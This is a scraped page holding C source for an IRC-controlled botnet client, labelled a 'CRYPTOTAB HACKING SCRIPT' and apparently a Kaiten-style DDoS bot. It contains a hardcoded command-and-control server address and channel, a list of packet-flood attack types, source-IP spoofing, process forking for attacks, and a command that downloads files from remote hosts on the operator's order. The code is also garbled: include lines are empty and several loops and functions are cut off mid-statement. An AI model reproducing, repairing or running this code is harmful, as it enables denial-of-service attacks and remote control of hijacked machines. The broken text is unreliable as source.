You are on page 1of 2

/*

CRYPTOTAB HACKING SCRIPT !* !* !* !* !* !* !* !* !* !* !* !*

udp <port> syn <port> fin <port> psh <port> ack <port> urg <port> rst <port> ece
<port> cwr <port> sew <port> xmas <port> unknown

*/ #undef STARTUP #undef IDENT #define FAKENAME "Routers" #define CHAN


"##Legendary" #define KEY "" int numservers=1; char *servers[] = { "185.62.190.7",
(void*)0 }; #include <stdarg.h> #include <errno.h> #include <stdio.h> #include
<stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h>
#include #include <strings.h> #include #include #include <sys/time.h> #include
<sys/socket.h> #include <signal.h> #include <arpa/inet.h> #include #include
#include <sys/wait.h> #include <sys/ioctl.h> int sock,changeservers=0; char
*server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
unsigned int *pids; unsigned long spoofs=0, spoofsm=0, numpids=0; int
strwildmatch(const char* pattern, const char* string) { switch(*pattern) { case
'\0': return *string; case '*': return !(!strwildmatch(pattern+1, string) ||
*string && ! strwildmatch(pattern, string+1)); case '?': return !(*string && !
strwildmatch(pattern+1, string+1)); default: return !((toupper(*pattern) ==
toupper(*string)) && ! strwildmatch(pattern+1, string+1)); }

} int Send(int sock, char *words, ...) { static char textBuffer[1024]; va_list
args; va_start(args, words); vsprintf(textBuffer, words, args); va_end(args);
return write(sock,textBuffer,strlen(textBuffer)); } int mfork(char *sender)
{ unsigned int parent, *newpids, i; if (disabled == 1) { Send(sock,"NOTICE %s
:Unable to comply.\n",sender); return 1; } parent=fork(); if (parent <= 0) return
parent; numpids++; newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
for (i=0;i
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
exit(0); for(;;) { fd_set bla; struct timeval timee; FD_ZERO(&bla);
FD_SET(tmpsock,&bla); timee.tv_sec=timee.tv_usec=60; if (select(tmpsock + 1,&bla,
(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); if (FD_ISSET(tmpsock,&bla)) break; } i
= recv(tmpsock,szBuffer,1024,0); if (i <= 0 || i >= 20) exit(0); szBuffer[i]=0; if
(szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; if (szBuffer[i-2]
== '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; Send(tmpsock,"%s : USERID : UNIX
: %s\n",szBuffer,ident); close(tmpsock); close(sockfd); exit(0); } long pow(long a,
long b) { if (b == 0) return 1; if (b == 1) return a; return a*pow(a,b-1); }
u_short in_cksum(u_short *addr, int len) { register int nleft = len; register
u_short *w = addr; register int sum = 0; u_short answer =0; while (nleft > 1) { sum
+= *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum
+= answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum;
return(answer); } void get(int sock, char *sender, int argc, char **argv) { int
sock2,i,d; struct sockaddr_in server; unsigned long ipaddr; char buf[1024]; FILE
*file; unsigned char bufm[4096]; if (mfork(sender) != 0) return; if (argc < 2)
{ Send(sock,"NOTICE %s :GET <save as>\n",sender); exit(0); } if ((sock2 =
socket(AF_INET, SOCK_STREAM, 0)) == -1) { Send(sock,"NOTICE %s :Unable to create
socket.\n",sender);

exit(0); } if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7); else


strcpy(buf,argv[1]); for (i=0;i<strlen(buf) && buf[i] != '/';i++); buf[i]=0;
server.sin_family = AF_INET; server.sin_port = htons(80); if ((ipaddr =
inet_addr(buf)) == -1) { struct hostent *hostm; if ((hostm=gethostbyname(buf)) ==
NULL) { Send(sock,"NOTICE %s :Unable to resolve address.\n",sender); exit(0); }
memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); } else
server.sin_addr.s_addr = ipaddr; memset(&(server.sin_zero), 0, 8); if
(connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0)
{ Send(sock,"NOTICE %s :Unable to connect to http.\n",sender); exit(0); }
Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75
[en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-
xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAcceptEncoding: gzip\r\nAccept-
Language: en\r\nAccept-Charset: iso-8859-1,*,utf8\r\n\r\n",buf+i+1,buf);
Send(sock,"NOTICE %s :Receiving file.\n",sender); file=fopen(argv[2],"wb");
while(1) { int i; if ((i=recv(sock2,bufm,4096,0)) <= 0) break; if (i < 4096)
bufm[i]=0; for (d=0;d
} void version(int sock, char *sender, int argc, char **argv) { Send(sock,"NOTICE
%s :kr3d. v0.666\n",sender); } void nickc(int sock, char *sender, int argc, char
**argv) { if (argc != 1) { Send(sock,"NOTICE %s :NICK \n",sender); return; } if
(strlen(argv[1]) >= 10) { Send(sock,"NOTICE %s :Nick cannot be larger than 9
characters.\n",sender); return; } Send(sock,"NICK %s\n",argv[1]); } void
disable(int sock, char *sender, int argc, char **argv) { if (argc != 1)
{ Send(sock,"NOTICE %s :DISABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current
status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return; } if (disabled) { Send(sock,"NOTICE %s :Already disabled.\n",sender);
return; } if (strlen(argv[1]) > 254) { Send(sock,"NOTICE %s :Password too long! >
254\n",sender); return; } disabled=1; memset(dispass,0,256);
strcpy(dispass,argv[1]); Send(sock,"NOTICE %s :Disable sucessful.\n"); } void
enable(int sock, char *sender, int argc, char **argv) { if (argc != 1)
{ Send(sock,"NOTICE %s :ENABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current
status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return; } if (!disabled) { Send(sock,"NOTICE %s :Already enabled.\n",sender);
return; } if (strcasecmp(dispass,argv[1])) { Send(sock,"NOTICE %s :Wrong
password\n",sender); return; } disabled=0; Send(sock,"NOTICE %s :Password
correct.\n",sender); } void spoof(int sock, char *sender, int argc, char **argv)
{ char ip[256]; int i, num; unsigned long uip; if (argc != 1) {

Send(sock,"NOTICE %s :Removed all spoofs\n",sender); spoofs=0; spoofsm=0; return; }


if (strlen(argv[1]) > 16) { Send(sock,"NOTICE %s :What kind of subnet address is
that? Do something like: 169.40\n",sender); return; } strcpy(ip,argv[1]); if
(ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0; for (i=0, num=1;i<strlen(ip);i++)
if (ip[i] == '.') num++; num=-(num-4); for (i=0;i
unsigned short tcp_length; struct tcphdr tcp; char buf[20];

You might also like